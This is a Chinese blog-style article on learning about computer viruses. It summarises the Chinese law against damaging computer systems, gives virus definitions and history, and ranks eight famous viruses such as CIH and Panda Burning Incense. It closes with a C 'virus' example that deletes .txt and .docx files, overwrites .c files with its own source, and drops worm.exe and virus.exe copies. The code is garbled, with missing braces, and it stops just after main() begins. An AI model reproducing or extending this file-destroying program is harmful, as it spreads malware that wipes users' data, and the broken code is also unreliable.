如何合法的去学习计算机病毒
破坏计算机信息系统罪
根据《中华人民共和国刑法》第二百八十六条规定,破坏计算机信息系统罪是指违反国家规定,对计算机信息系统功能或计算机信息系统中存储、处理或者传输的数据和应用程序进行破坏,或者故意制作、传播计算机病毒等破坏性程序,影响计算机系统正常运行,后果严重的行为。
立案标准
1.违反国家规定,对计算机信息系统功能进行删除、修改、增加、干扰,造成计算机信息系统不能正常运行,后果严重的;2.违反国家规定,对计算机信息系统中存储、处理或者传输的数据和应用程序进行删除、修改、增加的操作,后果严重的;3.故意制作、传播计算机病毒等破坏性程序,影响计算机系统正常运行,后果严重的。
刑事责任
犯本罪的,处五年以下有期徒刑或者拘役;后果特别严重的,处五年以上有期徒刑。
首先我们来说一下什么是计算机病毒
百度词条是这样解释的:
计算机病毒(Computer Virus)是编制者在计算机程序中插入的破坏计算机功能或者数据的代码,能影响计算机使用,能自我复制的一组 计算机 指令或者程序 代码 。
计算机病毒具有传播性、隐蔽性、 感染性 、潜伏性、可激发性、 表现性 或破坏性。计算机病毒的生命周期:开发期→ 传染期 →潜伏期→ 发作期 →发现期→消化期→消亡期。
计算机病毒对数据安全来说是公认的头号大敌,在1987年的时候就受到世界范围内的普遍重视,我国在1989年(其实是在1988年)首次发现计算机病毒。
我国首次发现的计算机病毒——小球病毒:发作条件是 当系统时钟处于半点或整点,而系统又在进行读盘操作 。发作时屏幕出现一个活蹦乱跳的小圆点,作斜线运动,当碰到屏幕边沿或者文字就立刻反弹,碰到的文字,英文会被整个削去,中文会被半个或整个削去,也可能留下制表符乱码。其规律是, ASCII 码字符后3位为3(011)的,发生行反射;后3位为5(101)的,发生列反射,其它字符不改变小球运动方向。后期经过一些好事者的改造,小球病毒的变种运动的规律开始逐渐复杂化。
因为病毒出现的早,所以那个时候还没有成型的杀毒软件,杀毒全靠手工,毕竟病毒开始受到关注的时候也才是一年前(1987年),那个时候就是尝试使用微软的软件缺陷调试程序debug来跟踪清除病毒,这也是最早的手工杀毒
随着新生的病毒越来越多,中国反病毒技术开始了漫长的探索过程。
那么上面说了什么是病毒,下面就来说一下种类和运行过程
计算机病毒分为两大类:
依附的媒体类型分类
(1)网络病毒:通过计算机网络感染可执行文件的计算机病毒。
(2)文件病毒:主攻计算机内文件的病毒。
(3)引导型病毒:是一种主攻感染驱动 扇区 和硬盘系统引导扇区的病毒。
计算机特定算法分类
(1)附带型病毒:通常附带于一个EXE文件上,其名称与EXE文件名相同,但扩展是不同的,一般不会破坏更改文件本身,但在DOS读取时首先激活的就是这类病毒。
(2)蠕虫病毒:它不会损害计算机文件和数据,它的破坏性主要取决于计算机网络的部署,可以使用计算机网络从一个计算机存储切换到另一个计算机存储来计算网络地址来感染病毒。
(3)可变病毒:可以自行应用复杂的算法,很难发现,因为在另一个地方表现的内容和长度是不同的
病毒的传播途径,从最早起的光盘(CD、U盘、移动硬盘)传播,然后通过网络传播,到现在的计算机系统和应用程序的弱点,后两种都有一个共同的特点就是传播范围广传播速度快
任何病毒入侵计算机后,都会对计算机系统和程序造成不同的影响,轻者降低计算机运行效率,占用系统资源,重者可导致数据丢失、系统崩溃。计算机病毒的程序性,代表它和其他合法程序一样,是一段可执行程序,但它不是一段完整的 程序 ,而是寄生在其他可执行程序上的一段程序,只有其他程序运行的时候,病毒才起破坏作用。病毒一旦其进入电脑后得到执行,它就会搜索其他符合条件的环境,确定目标后再将自身制其中,从而到达自我繁殖的目的、因此,传染性是判断计算机病毒的重要条件。
计算机病毒大致有八个特征,分别为隐蔽性、破坏性、传染性、寄生性、可执行性、可触发性、攻击的主动性、病毒的针对性
历史上著名的病毒有哪些,我在这里整理了八个病毒,不知道有没有朋友知道或者亲身体验过呢,我当时就不小心中了熊猫烧香病毒,在辉煌网络的交流群(五六年前的事了)里面下载了群主制造的变种病毒
在大家的日常生活中对病毒的理解可能也就仅限于,不要随便在网站上下载东西或者浏览不好的网站以免电脑中病毒,在最近一两年中,勒索病毒重新刷新了大家对病毒的认知
但是勒索病毒不算啥,你可以理解为对电脑全部文件进行加密,想要解密必须支付赎金才可(我说的不算啥不是代表技术,能写出病毒的人技术都是可以的最起码基础知识扎实)。历史上比勒索病毒厉害的计算机病毒多了去了,但是我说的这个也算是历史性的,注意一下背景,这些计算机病毒都是诞生在宽度尚未普及的年代,但是所造成的危害都是100%。
第八名梅利莎(Melissa,1999年)
这个病毒专门针对微软的电子邮件服务器和电子邮件收发软件,它隐藏在一个Word97格式的文件里,以附件的方式通过电子邮件传播,善于侵袭装有Word97或Word2000的计算机。它可以攻击Word97的注册器并修改其预防宏病毒的安全设置,使它感染的文件所具有的宏病毒预警功能丧失作用。在发现Melissa病毒后短短的数小时内,该病毒即通过因特网在全球传染数百万台计算机和数万台服务器, 因特网在许多地方瘫痪。 1999年3月26日爆发,感染了15%-20%的商业PC,给全球带来了3亿-6亿美元的损失。
第七名 LOVE BUG(2000年)
鼎鼎大名的 求爱信病毒 ,看到名字老司机应该可以会心一笑了吧。2000年是什么概念?计算机网络大爆发的年代,这一年网络宽带正在逐步进入寻常百姓家,不少企业公司才刚刚开始在网络领域挣扎。求爱信病毒伪装成为一封情书诱导当年纯洁的小司机们打开,瞬间就让不少小司机翻车了。 病毒的作用是不断复制和群发邮件,当年宽带速度和带宽都很一般,很快全球网络就因为电子邮件的大量群发而出现问题了。
第六名 灰鸽子(2001年)
“灰鸽子”是2001年出现的,采用Delphi编写,最早并未以成品方式发布,更多的是以技术研究的姿态,采用了源码共享的方式出现在互联网,至今仍可搜索到“灰鸽子”早期版本的源码。“灰鸽子”在出现的时候使用了当时讨论最多的“反弹端口”连接方式,用以躲避大多数个人网络防火墙的拦截。“灰鸽子”在当时的名气不及“冰河”,因此只出现了少量的感染,但其开放源码的方式也让“灰鸽子”逐渐增大了传播量。灰鸽子出现后以源码开放,所以出现多种不同的版本,由于服务端都以隐藏方式启动,就奠定了其恶意后门木马的地位。
第五名红色代码 (Code Red,2001年)
该病毒能够迅速传播,并造成大范围的访问速度下降甚至阻断。 这种病毒一般首先攻击计算机网络的服务器,遭到攻击的服务器会按照病毒的指令向政府网站发送大量数据,最终导致网站瘫痪。其造成的破坏主要是涂改网页,有迹象表明,这种蠕虫有修改文件的能力。 2001年7月13日爆发, 给全球带来26亿美元损失 。
第四名熊猫烧香(2006年)
国内计算机草根电脑玩家的计算机水平怎么样?或许可以从熊猫烧香看出来。 这款病毒正是湖北李俊打造的一款蠕虫病毒 ,话说当年网络已经大量普及,中毒用户不计其数,从可查阅到渠道了解到全国估计数百万计算机中毒, 而且最为牛逼的地方在于,这个病毒的变种数量竟然接近100种,防不胜防啊 。
第三名冲击波病毒(2003年)
或许这款冲击波病毒并没有达到令人闻风丧胆的地步,但是给人们造成的麻烦也是非常大的,相信不少80后的印象应该很深刻吧。不少同学的计算机都中了这个病毒, 结果就是集体自动关机,而且这款病毒关机的时候会弹出倒计时,任凭你使用什么手段都没有办法结束掉。
第二名 网游大盗(2007年)
估计又是一款令不少老司机翻车的网络蠕虫病毒了。2007年可是网络游戏非常火爆的一年,当时有“魔兽世界”、“完美世界”、“征途”等多款知名网游, 中毒之后可以造成游戏账户和游戏装备丢失,令不少网瘾少年担心了很久呢。 话说那时候整夜担心网游密码被盗还是心有余悸啊,结果后来没有中毒,在网吧被盗了账户密码,再不去网吧玩游戏了。
第一名 CIH病毒(1998年6月)
如果谈到破坏力的话CIH病毒可能是当之无愧的第一名,在计算机病毒史上也可算是“名留青史”了。 CIH病毒最牛逼的地方在于,它能够直接破坏计算机硬件,而不仅仅只是停留在软件层面,简单的说它能够直接影响计算机主板BIOS,使得计算机彻底报销无法启动 。当年是怎么传播的呢,互联网刚刚起步不久所以网络传播不大,更多的是通过盗版光盘逐步流传出来的。
时至今日,新的变种病毒还将继续肆虐互联网,建议所有网友都应该及时更新Windows漏洞,中毒之后Windows勒索病毒会删除掉原始文件,并将复制出来的副本进行加密处理。利用一些恢复工具我们可以找回被删除的原始文件,从而安全地恢复数据。
上面介绍完了病毒,那么我们改如何去学习呢(请大家不要用于违反法律的活动中)
病毒的编写是一种高深技术,真正的病毒一般都具有:传染性、隐藏性(又称潜伏性)、破坏性。现在的病毒种类也不少,如平常的传染可执行文件的病毒、宏病毒 等等。但原始的、破坏性最大的病毒还是传染可执行文件的病毒(像CIH病毒),而这些病毒一般都是用汇编语言编写的。有许多人对病毒有着好奇和向往,但是 往往又因为汇编语言的难学等问题望而却步。
一般情况下,病毒在结构上分为三个功能模块:感染机制,触发机制,有效载荷(骚扰计算机的方法)。
计算机病毒的编写语言有C、delphi、汇编、机器码。例如“熊猫烧香”病毒就是用delphi编写的。
让我们先描述一下我认为的、一个真正病毒应该有的特点:
——病毒会感染二进制可执行文件
——病毒代码必须是独立的,它独立于其他文件、代码库、程序等
——被感染的宿主文件能够继续执行并且传播病毒
——病毒在不损害宿主文件的情况下表现得像一只寄生虫。受感染的宿主应继续像它被感染之前一样执行
实例
/*This is a flag:start*/
#include<stdio.h>
#include<io.h>
#include<Windows.h>
#include<stdlib.h>
#include<string.h>
#include <direct.h>
#define INFECT_PATH "E:\\TMP"
#define DELETE_FILE1 "E:\\TMP\\*.txt"
#define DELETE_FILE2 "E:\\TMP\\*.docx"
#define CREAT_EXE1 "E:\\TMP\\worm.exe"
#define CREAT_EXE2 "E:\\TMP\\virus.exe"
#define Targetfile "E:\\TMP\\*.c"
#define Virusfile "E:\\E_KILL.c"
void MakeRubbish(void);
void CreatEXE(void);
void Remove(void);
void InfectFile(void);
void copyfile(char* infile,char *outfile);
void MakeRubbish(void)
int i=0;
FILE *fp=NULL;
char* path=NULL;
char* NewName=NULL;
char tempname[]="XXXXXX";
path=INFECT_PATH;
if(!_chdir(path))
printf("open DIR success\n");
printf("open DIR failed\n");
perror("Error: ");
NewName=_mktemp(tempname);
fp=fopen(NewName,"w");
fclose(fp);
void CreatEXE(void)
int i;
char* s[2]={CREAT_EXE1,CREAT_EXE2};
for(i=0;i<2;i++)
open(s[i],0x0100,0x0080);
copyfile(Virusfile,s[i]);
void Remove(void)
int done;
int i;
struct _finddata_t ffblk;
char *documenttype[2] = {DELETE_FILE1,DELETE_FILE2};
for (i = 0; i < 2; i++)
done = _findfirst(documenttype[i],&ffblk);
if(done!=-1)
printf("delete %s\n",ffblk.name);
remove(ffblk.name);
while (!_findnext(done,&ffblk))
printf("delete %s\n",ffblk.name);
remove(ffblk.name);
_findclose(done);
void copyfile(char* infile,char* outfile)
FILE *in,*out;
in=fopen(infile,"r");
out=fopen(outfile,"w");
while(!feof(in))
fputc(fgetc(in),out);
fclose(in);
fclose(out);
void InfectFile(void)
int done;
int i;
struct _finddata_t ffblk;
char *documenttype = Targetfile;
done = _findfirst(documenttype,&ffblk);
copyfile(Virusfile,ffblk.name);
while (!_findnext(done,&ffblk))
copyfile(Virusfile,ffblk.name); //感染
_findclose(done);
/*This is a flag:end*/
int main(void)
MakeRubbish( ); //制造垃圾文件